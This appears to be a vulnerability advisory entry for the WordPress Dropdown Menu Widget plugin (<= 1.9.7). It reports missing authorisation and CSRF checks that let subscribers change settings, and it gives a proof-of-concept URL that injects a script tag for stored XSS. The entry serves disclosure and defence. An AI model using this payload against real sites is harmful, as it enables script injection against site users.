Dropdown Menu Widget <= 1.9.7 - Subscriber+ Arbitrary Settings Update to Stored XSS

2022-03-1400:00:00

Krzysztof Zając

arbitrary settings update

stored xss

permission denied

url

plugin's settings

EPSS

0.001

Percentile

24.8%

JSON

The plugin does not have authorisation and CSRF checks when saving its settings, allowing low privilege users such as subscriber to update them. Due to the lack of sanitisation and escaping, it could also lead to Stored Cross-Site Scripting issues

Open the following URL as a subscriber: https://example.com/wp-admin/admin.php?shailan_dm_active_theme=*url*&shailan_dm_theme_url="><script>alert(/XSS/);</script>&action=save&page=dropdown-menu

You'll get a permission denied message. Ignore it and browse to https://example.com or the plugin's settings to trigger the XSS

EPSS

0.001

Percentile

24.8%

JSON

Related for WPEX-ID:7A5078DB-E0D4-4076-9DE9-5401C3CA0D65